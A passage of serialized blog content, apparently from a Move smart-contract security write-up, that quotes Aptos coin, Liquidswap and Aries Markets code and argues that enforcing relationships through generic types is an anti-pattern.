key",{"type":22,"tag":118,"props":7943,"children":7944},{"style":125},[7945],{"type":28,"value":231},{"type":22,"tag":118,"props":7947,"children":7948},{"style":204},[7949],{"type":28,"value":7950},"store",{"type":22,"tag":118,"props":7952,"children":7953},{"style":125},[7954],{"type":28,"value":1474},{"type":22,"tag":118,"props":7956,"children":7957},{"class":120,"line":177},[7958,7963,7967],{"type":22,"tag":118,"props":7959,"children":7960},{"style":204},[7961],{"type":28,"value":7962},"      id",{"type":22,"tag":118,"props":7964,"children":7965},{"style":210},[7966],{"type":28,"value":213},{"type":22,"tag":118,"props":7968,"children":7969},{"style":125},[7970],{"type":28,"value":7971}," UID,\n",{"type":22,"tag":118,"props":7973,"children":7974},{"class":120,"line":195},[7975,7980,7984,7989,7993,7998],{"type":22,"tag":118,"props":7976,"children":7977},{"style":204},[7978],{"type":28,"value":7979},"      balance",{"type":22,"tag":118,"props":7981,"children":7982},{"style":210},[7983],{"type":28,"value":213},{"type":22,"tag":118,"props":7985,"children":7986},{"style":131},[7987],{"type":28,"value":7988}," Balance",{"type":22,"tag":118,"props":7990,"children":7991},{"style":125},[7992],{"type":28,"value":559},{"type":22,"tag":118,"props":7994,"children":7995},{"style":131},[7996],{"type":28,"value":7997},"T",{"type":22,"tag":118,"props":7999,"children":8000},{"style":125},[8001],{"type":28,"value":8002},">\n",{"type":22,"tag":118,"props":8004,"children":8005},{"class":120,"line":244},[8006],{"type":22,"tag":118,"props":8007,"children":8008},{"style":125},[8009],{"type":28,"value":7881},{"type":22,"tag":31,"props":8011,"children":8012},{},[8013],{"type":22,"tag":4764,"props":8014,"children":8015},{},[8016],{"type":28,"value":8017},"sui",{"type":22,"tag":31,"props":8019,"children":8020},{},[8021,8023,8030,8032,8038],{"type":28,"value":8022},"Pulling an example from ",{"type":22,"tag":42,"props":8024,"children":8027},{"href":8025,"rel":8026},"https://pontem.network/",[46],[8028],{"type":28,"value":8029},"Pontem Network's",{"type":28,"value":8031}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":22,"tag":114,"props":8033,"children":8035},{"className":8034},[],[8036],{"type":28,"value":8037},"LiquidityPool",{"type":28,"value":8039}," natively embeds this type information into it's fields.",{"type":22,"tag":107,"props":8041,"children":8043},{"className":109,"code":8042,"language":111,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[8044],{"type":22,"tag":114,"props":8045,"children":8046},{"__ignoreMap":7},[8047,8055,8119,8148,8177,8185],{"type":22,"tag":118,"props":8048,"children":8049},{"class":120,"line":121},[8050],{"type":22,"tag":118,"props":8051,"children":8052},{"style":257},[8053],{"type":28,"value":8054},"    /// Liquidity pool with reserves.\n",{"type":22,"tag":118,"props":8056,"children":8057},{"class":120,"line":142},[8058,8063,8068,8072,8076,8081,8085,8089,8094,8098,8102,8107,8111,8115],{"type":22,"tag":118,"props":8059,"children":8060},{"style":146},[8061],{"type":28,"value":8062},"    struct",{"type":22,"tag":118,"props":8064,"children":8065},{"style":131},[8066],{"type":28,"value":8067}," LiquidityPool",{"type":22,"tag":118,"props":8069,"children":8070},{"style":125},[8071],{"type":28,"value":559},{"type":22,"tag":118,"props":8073,"children":8074},{"style":204},[8075],{"type":28,"value":7821},{"type":22,"tag":118,"props":8077,"children":8078},{"style":131},[8079],{"type":28,"value":8080}," X",{"type":22,"tag":118,"props":8082,"children":8083},{"style":125},[8084],{"type":28,"value":231},{"type":22,"tag":118,"props":8086,"children":8087},{"style":204},[8088],{"type":28,"value":7821},{"type":22,"tag":118,"props":8090,"children":8091},{"style":131},[8092],{"type":28,"value":8093}," Y",{"type":22,"tag":118,"props":8095,"children":8096},{"style":125},[8097],{"type":28,"value":231},{"type":22,"tag":118,"props":8099,"children":8100},{"style":204},[8101],{"type":28,"value":7821},{"type":22,"tag":118,"props":8103,"children":8104},{"style":125},[8105],{"type":28,"value":8106}," LP> ",{"type":22,"tag":118,"props":8108,"children":8109},{"style":204},[8110],{"type":28,"value":7836},{"type":22,"tag":118,"props":8112,"children":8113},{"style":204},[8114],{"type":28,"value":7941},{"type":22,"tag":118,"props":8116,"children":8117},{"style":125},[8118],{"type":28,"value":1474},{"type":22,"tag":118,"props":8120,"children":8121},{"class":120,"line":177},[8122,8127,8131,8135,8139,8144],{"type":22,"tag":118,"props":8123,"children":8124},{"style":204},[8125],{"type":28,"value":8126},"        coin_x_reserve",{"type":22,"tag":118,"props":8128,"children":8129},{"style":210},[8130],{"type":28,"value":213},{"type":22,"tag":118,"props":8132,"children":8133},{"style":131},[8134],{"type":28,"value":7812},{"type":22,"tag":118,"props":8136,"children":8137},{"style":125},[8138],{"type":28,"value":559},{"type":22,"tag":118,"props":8140,"children":8141},{"style":131},[8142],{"type":28,"value":8143},"X",{"type":22,"tag":118,"props":8145,"children":8146},{"style":125},[8147],{"type":28,"value":241},{"type":22,"tag":118,"props":8149,"children":8150},{"class":120,"line":195},[8151,8156,8160,8164,8168,8173],{"type":22,"tag":118,"props":8152,"children":8153},{"style":204},[8154],{"type":28,"value":8155},"        coin_y_reserve",{"type":22,"tag":118,"props":8157,"children":8158},{"style":210},[8159],{"type":28,"value":213},{"type":22,"tag":118,"props":8161,"children":8162},{"style":131},[8163],{"type":28,"value":7812},{"type":22,"tag":118,"props":8165,"children":8166},{"style":125},[8167],{"type":28,"value":559},{"type":22,"tag":118,"props":8169,"children":8170},{"style":131},[8171],{"type":28,"value":8172},"Y",{"type":22,"tag":118,"props":8174,"children":8175},{"style":125},[8176],{"type":28,"value":241},{"type":22,"tag":118,"props":8178,"children":8179},{"class":120,"line":244},[8180],{"type":22,"tag":118,"props":8181,"children":8182},{"style":257},[8183],{"type":28,"value":8184},"        // ...\n",{"type":22,"tag":118,"props":8186,"children":8187},{"class":120,"line":253},[8188],{"type":22,"tag":118,"props":8189,"children":8190},{"style":125},[8191],{"type":28,"value":1254},{"type":22,"tag":31,"props":8193,"children":8194},{},[8195],{"type":28,"value":8196},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":22,"tag":107,"props":8198,"children":8200},{"className":109,"code":8199,"language":111,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[8201],{"type":22,"tag":114,"props":8202,"children":8203},{"__ignoreMap":7},[8204,8243,8264,8292,8320,8371,8379,8386],{"type":22,"tag":118,"props":8205,"children":8206},{"class":120,"line":121},[8207,8212,8217,8222,8226,8230,8234,8238],{"type":22,"tag":118,"props":8208,"children":8209},{"style":204},[8210],{"type":28,"value":8211},"      public",{"type":22,"tag":118,"props":8213,"children":8214},{"style":204},[8215],{"type":28,"value":8216}," fun",{"type":22,"tag":118,"props":8218,"children":8219},{"style":204},[8220],{"type":28,"value":8221}," mint",{"type":22,"tag":118,"props":8223,"children":8224},{"style":125},[8225],{"type":28,"value":559},{"type":22,"tag":118,"props":8227,"children":8228},{"style":131},[8229],{"type":28,"value":8143},{"type":22,"tag":118,"props":8231,"children":8232},{"style":125},[8233],{"type":28,"value":231},{"type":22,"tag":118,"props":8235,"children":8236},{"style":131},[8237],{"type":28,"value":8172},{"type":22,"tag":118,"props":8239,"children":8240},{"style":125},[8241],{"type":28,"value":8242},", LP>(\n",{"type":22,"tag":118,"props":8244,"children":8245},{"class":120,"line":142},[8246,8251,8255,8260],{"type":22,"tag":118,"props":8247,"children":8248},{"style":204},[8249],{"type":28,"value":8250},"          pool_addr",{"type":22,"tag":118,"props":8252,"children":8253},{"style":210},[8254],{"type":28,"value":213},{"type":22,"tag":118,"props":8256,"children":8257},{"style":204},[8258],{"type":28,"value":8259}," address",{"type":22,"tag":118,"props":8261,"children":8262},{"style":125},[8263],{"type":28,"value":782},{"type":22,"tag":118,"props":8265,"children":8266},{"class":120,"line":177},[8267,8272,8276,8280,8284,8288],{"type":22,"tag":118,"props":8268,"children":8269},{"style":204},[8270],{"type":28,"value":8271},"          coin_x",{"type":22,"tag":118,"props":8273,"children":8274},{"style":210},[8275],{"type":28,"value":213},{"type":22,"tag":118,"props":8277,"children":8278},{"style":131},[8279],{"type":28,"value":7812},{"type":22,"tag":118,"props":8281,"children":8282},{"style":125},[8283],{"type":28,"value":559},{"type":22,"tag":118,"props":8285,"children":8286},{"style":131},[8287],{"type":28,"value":8143},{"type":22,"tag":118,"props":8289,"children":8290},{"style":125},[8291],{"type":28,"value":241},{"type":22,"tag":118,"props":8293,"children":8294},{"class":120,"line":195},[8295,8300,8304,8308,8312,8316],{"type":22,"tag":118,"props":8296,"children":8297},{"style":204},[8298],{"type":28,"value":8299},"          coin_y",{"type":22,"tag":118,"props":8301,"children":8302},{"style":210},[8303],{"type":28,"value":213},{"type":22,"tag":118,"props":8305,"children":8306},{"style":131},[8307],{"type":28,"value":7812},{"type":22,"tag":118,"props":8309,"children":8310},{"style":125},[8311],{"type":28,"value":559},{"type":22,"tag":118,"props":8313,"children":8314},{"style":131},[8315],{"type":28,"value":8172},{"type":22,"tag":118,"props":8317,"children":8318},{"style":125},[8319],{"type":28,"value":8002},{"type":22,"tag":118,"props":8321,"children":8322},{"class":120,"line":244},[8323,8328,8332,8336,8340,8345,8349,8354,8358,8362,8367],{"type":22,"tag":118,"props":8324,"children":8325},{"style":125},[8326],{"type":28,"value":8327},"      )",{"type":22,"tag":118,"props":8329,"children":8330},{"style":210},[8331],{"type":28,"value":213},{"type":22,"tag":118,"props":8333,"children":8334},{"style":131},[8335],{"type":28,"value":7812},{"type":22,"tag":118,"props":8337,"children":8338},{"style":125},[8339],{"type":28,"value":559},{"type":22,"tag":118,"props":8341,"children":8342},{"style":131},[8343],{"type":28,"value":8344},"LP",{"type":22,"tag":118,"props":8346,"children":8347},{"style":125},[8348],{"type":28,"value":7831},{"type":22,"tag":118,"props":8350,"children":8351},{"style":204},[8352],{"type":28,"value":8353},"acquires",{"type":22,"tag":118,"props":8355,"children":8356},{"style":131},[8357],{"type":28,"value":8067},{"type":22,"tag":118,"props":8359,"children":8360},{"style":125},[8361],{"type":28,"value":231},{"type":22,"tag":118,"props":8363,"children":8364},{"style":131},[8365],{"type":28,"value":8366},"EventsStore",{"type":22,"tag":118,"props":8368,"children":8369},{"style":125},[8370],{"type":28,"value":1474},{"type":22,"tag":118,"props":8372,"children":8373},{"class":120,"line":253},[8374],{"type":22,"tag":118,"props":8375,"children":8376},{"style":257},[8377],{"type":28,"value":8378},"          // ...\n",{"type":22,"tag":118,"props":8380,"children":8381},{"class":120,"line":263},[8382],{"type":22,"tag":118,"props":8383,"children":8384},{"emptyLinePlaceholder":15},[8385],{"type":28,"value":250},{"type":22,"tag":118,"props":8387,"children":8388},{"class":120,"line":318},[8389,8394,8398,8403,8407,8412,8416,8420,8425,8429,8433,8437,8441,8446,8451],{"type":22,"tag":118,"props":8390,"children":8391},{"style":146},[8392],{"type":28,"value":8393},"          let",{"type":22,"tag":118,"props":8395,"children":8396},{"style":125},[8397],{"type":28,"value":842},{"type":22,"tag":118,"props":8399,"children":8400},{"style":204},[8401],{"type":28,"value":8402},"x_reserve_size",{"type":22,"tag":118,"props":8404,"children":8405},{"style":125},[8406],{"type":28,"value":231},{"type":22,"tag":118,"props":8408,"children":8409},{"style":204},[8410],{"type":28,"value":8411},"y_reserve_size",{"type":22,"tag":118,"props":8413,"children":8414},{"style":125},[8415],{"type":28,"value":588},{"type":22,"tag":118,"props":8417,"children":8418},{"style":210},[8419],{"type":28,"value":282},{"type":22,"tag":118,"props":8421,"children":8422},{"style":204},[8423],{"type":28,"value":8424}," get_reserves_size",{"type":22,"tag":118,"props":8426,"children":8427},{"style":125},[8428],{"type":28,"value":559},{"type":22,"tag":118,"props":8430,"children":8431},{"style":131},[8432],{"type":28,"value":8143},{"type":22,"tag":118,"props":8434,"children":8435},{"style":125},[8436],{"type":28,"value":231},{"type":22,"tag":118,"props":8438,"children":8439},{"style":131},[8440],{"type":28,"value":8172},{"type":22,"tag":118,"props":8442,"children":8443},{"style":125},[8444],{"type":28,"value":8445},", LP>(",{"type":22,"tag":118,"props":8447,"children":8448},{"style":204},[8449],{"type":28,"value":8450},"pool_addr",{"type":22,"tag":118,"props":8452,"children":8453},{"style":125},[8454],{"type":28,"value":682},{"type":22,"tag":31,"props":8456,"children":8457},{},[8458,8460,8466,8468,8475],{"type":28,"value":8459},"As an aside, this generic type information is implemented at runtime in the ",{"type":22,"tag":114,"props":8461,"children":8463},{"className":8462},[],[8464],{"type":28,"value":8465},"ty_args",{"type":28,"value":8467}," ",{"type":22,"tag":42,"props":8469,"children":8472},{"href":8470,"rel":8471},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[46],[8473],{"type":28,"value":8474},"at the vm level",{"type":28,"value":8476},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":22,"tag":31,"props":8478,"children":8479},{},[8480,8482,8488,8490,8496,8498,8504,8505,8511],{"type":28,"value":8481},"In pseucode, this checks that ",{"type":22,"tag":114,"props":8483,"children":8485},{"className":8484},[],[8486],{"type":28,"value":8487},"coin_x.type",{"type":28,"value":8489}," is equal to ",{"type":22,"tag":114,"props":8491,"children":8493},{"className":8492},[],[8494],{"type":28,"value":8495},"pool.x_type",{"type":28,"value":8497},", and ",{"type":22,"tag":114,"props":8499,"children":8501},{"className":8500},[],[8502],{"type":28,"value":8503},"coin_y.type",{"type":28,"value":8489},{"type":22,"tag":114,"props":8506,"children":8508},{"className":8507},[],[8509],{"type":28,"value":8510},"pool.y_type",{"type":28,"value":292},{"type":22,"tag":31,"props":8513,"children":8514},{},[8515],{"type":28,"value":8516},"This type system has two advantages",{"type":22,"tag":4029,"props":8518,"children":8519},{},[8520,8532],{"type":22,"tag":68,"props":8521,"children":8522},{},[8523,8525,8530],{"type":28,"value":8524},"It's required. The type parameter ",{"type":22,"tag":4764,"props":8526,"children":8527},{},[8528],{"type":28,"value":8529},"must",{"type":28,"value":8531}," be specified so it's impossible to forget such a constraint",{"type":22,"tag":68,"props":8533,"children":8534},{},[8535],{"type":28,"value":8536},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":22,"tag":31,"props":8538,"children":8539},{},[8540],{"type":28,"value":8541},"However, this system isn't perfect.",{"type":22,"tag":31,"props":8543,"children":8544},{},[8545,8547,8552],{"type":28,"value":8546},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":22,"tag":74,"props":8548,"children":8549},{},[8550],{"type":28,"value":8551},"an anti-pattern",{"type":28,"value":292},{"type":22,"tag":31,"props":8554,"children":8555},{},[8556,8558,8564],{"type":28,"value":8557},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":22,"tag":114,"props":8559,"children":8561},{"className":8560},[],[8562],{"type":28,"value":8563},"CoinInfo\u003CCoinType>",{"type":28,"value":292},{"type":22,"tag":107,"props":8566,"children":8568},{"className":109,"code":8567,"language":111,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[8569],{"type":22,"tag":114,"props":8570,"children":8571},{"__ignoreMap":7},[8572,8599,8607,8675,8682,8689,8701,8745,8767],{"type":22,"tag":118,"props":8573,"children":8574},{"class":120,"line":121},[8575,8580,8585,8589,8594],{"type":22,"tag":118,"props":8576,"children":8577},{"style":204},[8578],{"type":28,"value":8579},"  fun",{"type":22,"tag":118,"props":8581,"children":8582},{"style":204},[8583],{"type":28,"value":8584}," initialize_internal",{"type":22,"tag":118,"props":8586,"children":8587},{"style":125},[8588],{"type":28,"value":559},{"type":22,"tag":118,"props":8590,"children":8591},{"style":131},[8592],{"type":28,"value":8593},"CoinType",{"type":22,"tag":118,"props":8595,"children":8596},{"style":125},[8597],{"type":28,"value":8598},">(\n",{"type":22,"tag":118,"props":8600,"children":8601},{"class":120,"line":142},[8602],{"type":22,"tag":118,"props":8603,"children":8604},{"style":257},[8605],{"type":28,"value":8606},"      // ...\n",{"type":22,"tag":118,"props":8608,"children":8609},{"class":120,"line":177},[8610,8615,8619,8623,8628,8632,8636,8640,8645,8649,8653,8657,8662,8666,8670],{"type":22,"tag":118,"props":8611,"children":8612},{"style":125},[8613],{"type":28,"value":8614},"  )",{"type":22,"tag":118,"props":8616,"children":8617},{"style":210},[8618],{"type":28,"value":213},{"type":22,"tag":118,"props":8620,"children":8621},{"style":125},[8622],{"type":28,"value":842},{"type":22,"tag":118,"props":8624,"children":8625},{"style":131},[8626],{"type":28,"value":8627},"BurnCapability",{"type":22,"tag":118,"props":8629,"children":8630},{"style":125},[8631],{"type":28,"value":559},{"type":22,"tag":118,"props":8633,"children":8634},{"style":131},[8635],{"type":28,"value":8593},{"type":22,"tag":118,"props":8637,"children":8638},{"style":125},[8639],{"type":28,"value":569},{"type":22,"tag":118,"props":8641,"children":8642},{"style":131},[8643],{"type":28,"value":8644},"FreezeCapability",{"type":22,"tag":118,"props":8646,"children":8647},{"style":125},[8648],{"type":28,"value":559},{"type":22,"tag":118,"props":8650,"children":8651},{"style":131},[8652],{"type":28,"value":8593},{"type":22,"tag":118,"props":8654,"children":8655},{"style":125},[8656],{"type":28,"value":569},{"type":22,"tag":118,"props":8658,"children":8659},{"style":131},[8660],{"type":28,"value":8661},"MintCapability",{"type":22,"tag":118,"props":8663,"children":8664},{"style":125},[8665],{"type":28,"value":559},{"type":22,"tag":118,"props":8667,"children":8668},{"style":131},[8669],{"type":28,"value":8593},{"type":22,"tag":118,"props":8671,"children":8672},{"style":125},[8673],{"type":28,"value":8674},">) {\n",{"type":22,"tag":118,"props":8676,"children":8677},{"class":120,"line":195},[8678],{"type":22,"tag":118,"props":8679,"children":8680},{"style":257},[8681],{"type":28,"value":8606},{"type":22,"tag":118,"props":8683,"children":8684},{"class":120,"line":244},[8685],{"type":22,"tag":118,"props":8686,"children":8687},{"emptyLinePlaceholder":15},[8688],{"type":28,"value":250},{"type":22,"tag":118,"props":8690,"children":8691},{"class":120,"line":253},[8692,8697],{"type":22,"tag":118,"props":8693,"children":8694},{"style":532},[8695],{"type":28,"value":8696},"      assert!",{"type":22,"tag":118,"props":8698,"children":8699},{"style":125},[8700],{"type":28,"value":696},{"type":22,"tag":118,"props":8702,"children":8703},{"class":120,"line":263},[8704,8709,8714,8718,8723,8727,8731,8736,8741],{"type":22,"tag":118,"props":8705,"children":8706},{"style":210},[8707],{"type":28,"value":8708},"          !",{"type":22,"tag":118,"props":8710,"children":8711},{"style":204},[8712],{"type":28,"value":8713},"exists",{"type":22,"tag":118,"props":8715,"children":8716},{"style":125},[8717],{"type":28,"value":559},{"type":22,"tag":118,"props":8719,"children":8720},{"style":131},[8721],{"type":28,"value":8722},"CoinInfo",{"type":22,"tag":118,"props":8724,"children":8725},{"style":125},[8726],{"type":28,"value":559},{"type":22,"tag":118,"props":8728,"children":8729},{"style":131},[8730],{"type":28,"value":8593},{"type":22,"tag":118,"props":8732,"children":8733},{"style":125},[8734],{"type":28,"value":8735},">>(",{"type":22,"tag":118,"props":8737,"children":8738},{"style":204},[8739],{"type":28,"value":8740},"account_addr",{"type":22,"tag":118,"props":8742,"children":8743},{"style":125},[8744],{"type":28,"value":3853},{"type":22,"tag":118,"props":8746,"children":8747},{"class":120,"line":318},[8748,8753,8757,8762],{"type":22,"tag":118,"props":8749,"children":8750},{"style":125},[8751],{"type":28,"value":8752},"          error",{"type":22,"tag":118,"props":8754,"children":8755},{"style":210},[8756],{"type":28,"value":1190},{"type":22,"tag":118,"props":8758,"children":8759},{"style":532},[8760],{"type":28,"value":8761},"already_exists",{"type":22,"tag":118,"props":8763,"children":8764},{"style":125},[8765],{"type":28,"value":8766},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":22,"tag":118,"props":8768,"children":8769},{"class":120,"line":351},[8770],{"type":22,"tag":118,"props":8771,"children":8772},{"style":125},[8773],{"type":28,"value":8774},"      );\n",{"type":22,"tag":31,"props":8776,"children":8777},{},[8778,8780,8785],{"type":28,"value":8779},"While this ",{"type":22,"tag":114,"props":8781,"children":8783},{"className":8782},[],[8784],{"type":28,"value":8722},{"type":28,"value":8786}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":22,"tag":31,"props":8788,"children":8789},{},[8790,8792,8799],{"type":28,"value":8791},"Similarly, consider ",{"type":22,"tag":42,"props":8793,"children":8796},{"href":8794,"rel":8795},"https://ariesmarkets.xyz/",[46],[8797],{"type":28,"value":8798},"Aries Markets",{"type":28,"value":8800},", a lending/borrowing protocol building on Aptos.",{"type":22,"tag":31,"props":8802,"children":8803},{},[8804,8806,8812],{"type":28,"value":8805},"Their ",{"type":22,"tag":114,"props":8807,"children":8809},{"className":8808},[],[8810],{"type":28,"value":8811},"ReserveCoinContainer",{"type":28,"value":8813}," struct stores all the relevant data and resources for managing a lending market.",{"type":22,"tag":107,"props":8815,"children":8817},{"className":109,"code":8816,"language":111,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[8818],{"type":22,"tag":114,"props":8819,"children":8820},{"__ignoreMap":7},[8821,8829,8837,8878,8886,8915,8923,8960,8968,9005,9013,9050,9057,9064],{"type":22,"tag":118,"props":8822,"children":8823},{"class":120,"line":121},[8824],{"type":22,"tag":118,"props":8825,"children":8826},{"style":257},[8827],{"type":28,"value":8828},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":22,"tag":118,"props":8830,"children":8831},{"class":120,"line":142},[8832],{"type":22,"tag":118,"props":8833,"children":8834},{"style":257},[8835],{"type":28,"value":8836},"  /// Stored as a resources.\n",{"type":22,"tag":118,"props":8838,"children":8839},{"class":120,"line":177},[8840,8844,8849,8853,8857,8862,8866,8870,8874],{"type":22,"tag":118,"props":8841,"children":8842},{"style":146},[8843],{"type":28,"value":7807},{"type":22,"tag":118,"props":8845,"children":8846},{"style":131},[8847],{"type":28,"value":8848}," ReserveCoinContainer",{"type":22,"tag":118,"props":8850,"children":8851},{"style":125},[8852],{"type":28,"value":559},{"type":22,"tag":118,"props":8854,"children":8855},{"style":204},[8856],{"type":28,"value":7821},{"type":22,"tag":118,"props":8858,"children":8859},{"style":131},[8860],{"type":28,"value":8861}," Coin0",{"type":22,"tag":118,"props":8863,"children":8864},{"style":125},[8865],{"type":28,"value":7831},{"type":22,"tag":118,"props":8867,"children":8868},{"style":204},[8869],{"type":28,"value":7836},{"type":22,"tag":118,"props":8871,"children":8872},{"style":204},[8873],{"type":28,"value":7941},{"type":22,"tag":118,"props":8875,"children":8876},{"style":125},[8877],{"type":28,"value":1474},{"type":22,"tag":118,"props":8879,"children":8880},{"class":120,"line":195},[8881],{"type":22,"tag":118,"props":8882,"children":8883},{"style":257},[8884],{"type":28,"value":8885},"      /// Stores the available `Coin`.\n",{"type":22,"tag":118,"props":8887,"children":8888},{"class":120,"line":244},[8889,8894,8898,8902,8906,8911],{"type":22,"tag":118,"props":8890,"children":8891},{"style":204},[8892],{"type":28,"value":8893},"      underlying_coin",{"type":22,"tag":118,"props":8895,"children":8896},{"style":210},[8897],{"type":28,"value":213},{"type":22,"tag":118,"props":8899,"children":8900},{"style":131},[8901],{"type":28,"value":7812},{"type":22,"tag":118,"props":8903,"children":8904},{"style":125},[8905],{"type":28,"value":559},{"type":22,"tag":118,"props":8907,"children":8908},{"style":131},[8909],{"type":28,"value":8910},"Coin0",{"type":22,"tag":118,"props":8912,"children":8913},{"style":125},[8914],{"type":28,"value":241},{"type":22,"tag":118,"props":8916,"children":8917},{"class":120,"line":253},[8918],{"type":22,"tag":118,"props":8919,"children":8920},{"style":257},[8921],{"type":28,"value":8922},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":22,"tag":118,"props":8924,"children":8925},{"class":120,"line":263},[8926,8931,8935,8939,8943,8947,8951,8955],{"type":22,"tag":118,"props":8927,"children":8928},{"style":204},[8929],{"type":28,"value":8930},"      collateralised_lp_coin",{"type":22,"tag":118,"props":8932,"children":8933},{"style":210},[8934],{"type":28,"value":213},{"type":22,"tag":118,"props":8936,"children":8937},{"style":131},[8938],{"type":28,"value":7812},{"type":22,"tag":118,"props":8940,"children":8941},{"style":125},[8942],{"type":28,"value":559},{"type":22,"tag":118,"props":8944,"children":8945},{"style":131},[8946],{"type":28,"value":8344},{"type":22,"tag":118,"props":8948,"children":8949},{"style":125},[8950],{"type":28,"value":559},{"type":22,"tag":118,"props":8952,"children":8953},{"style":131},[8954],{"type":28,"value":8910},{"type":22,"tag":118,"props":8956,"children":8957},{"style":125},[8958],{"type":28,"value":8959},">>,\n",{"type":22,"tag":118,"props":8961,"children":8962},{"class":120,"line":318},[8963],{"type":22,"tag":118,"props":8964,"children":8965},{"style":257},[8966],{"type":28,"value":8967},"      /// Mint capability for LP Coin.\n",{"type":22,"tag":118,"props":8969,"children":8970},{"class":120,"line":351},[8971,8976,8980,8985,8989,8993,8997,9001],{"type":22,"tag":118,"props":8972,"children":8973},{"style":204},[8974],{"type":28,"value":8975},"      mint_capability",{"type":22,"tag":118,"props":8977,"children":8978},{"style":210},[8979],{"type":28,"value":213},{"type":22,"tag":118,"props":8981,"children":8982},{"style":131},[8983],{"type":28,"value":8984}," MintCapability",{"type":22,"tag":118,"props":8986,"children":8987},{"style":125},[8988],{"type":28,"value":559},{"type":22,"tag":118,"props":8990,"children":8991},{"style":131},[8992],{"type":28,"value":8344},{"type":22,"tag":118,"props":8994,"children":8995},{"style":125},[8996],{"type":28,"value":559},{"type":22,"tag":118,"props":8998,"children":8999},{"style":131},[9000],{"type":28,"value":8910},{"type":22,"tag":118,"props":9002,"children":9003},{"style":125},[9004],{"type":28,"value":8959},{"type":22,"tag":118,"props":9006,"children":9007},{"class":120,"line":359},[9008],{"type":22,"tag":118,"props":9009,"children":9010},{"style":257},[9011],{"type":28,"value":9012},"      /// Burn capability for LP Coin.\n",{"type":22,"tag":118,"props":9014,"children":9015},{"class":120,"line":368},[9016,9021,9025,9030,9034,9038,9042,9046],{"type":22,"tag":118,"props":9017,"children":9018},{"style":204},[9019],{"type":28,"value":9020},"      burn_capability",{"type":22,"tag":118,"props":9022,"children":9023},{"style":210},[9024],{"type":28,"value":213},{"type":22,"tag":118,"props":9026,"children":9027},{"style":131},[9028],{"type":28,"value":9029}," BurnCapability",{"type":22,"tag":118,"props":9031,"children":9032},{"style":125},[9033],{"type":28,"value":559},{"type":22,"tag":118,"props":9035,"children":9036},{"style":131},[9037],{"type":28,"value":8344},{"type":22,"tag":118,"props":9039,"children":9040},{"style":125},[9041],{"type":28,"value":559},{"type":22,"tag":118,"props":9043,"children":9044},{"style":131},[9045],{"type":28,"value":8910},{"type":22,"tag":118,"props":9047,"children":9048},{"style":125},[9049],{"type":28,"value":8959},{"type":22,"tag":118,"props":9051,"children":9052},{"class":120,"line":384},[9053],{"type":22,"tag":118,"props":9054,"children":9055},{"emptyLinePlaceholder":15},[9056],{"type":28,"value":250},{"type":22,"tag":118,"props":9058,"children":9059},{"class":120,"line":417},[9060],{"type":22,"tag":118,"props":9061,"children":9062},{"style":257},[9063],{"type":28,"value":8606},{"type":22,"tag":118,"props":9065,"children":9066},{"class":120,"line":425},[9067],{"type":22,"tag":118,"props":9068,"children":9069},{"style":125},[9070],{"type":28,"value":7881},{"type":22,"tag":31,"props":9072,"children":9073},{},[9074,9076,9081],{"type":28,"value":9075},"When creating a ",{"type":22,"tag":114,"props":9077,"children":9079},{"className":9078},[],[9080],{"type":28,"value":8811},{"type":28,"value":9082},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":22,"tag":107,"props":9084,"children":9086},{"className":109,"code":9085,"language":111,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[9087],{"type":22,"tag":114,"props":9088,"children":9089},{"__ignoreMap":7},[9090,9133,9158,9165,9186,9231,9238,9245,9252,9288,9295],{"type":22,"tag":118,"props":9091,"children":9092},{"class":120,"line":121},[9093,9098,9102,9107,9111,9116,9121,9125,9129],{"type":22,"tag":118,"props":9094,"children":9095},{"style":532},[9096],{"type":28,"value":9097},"  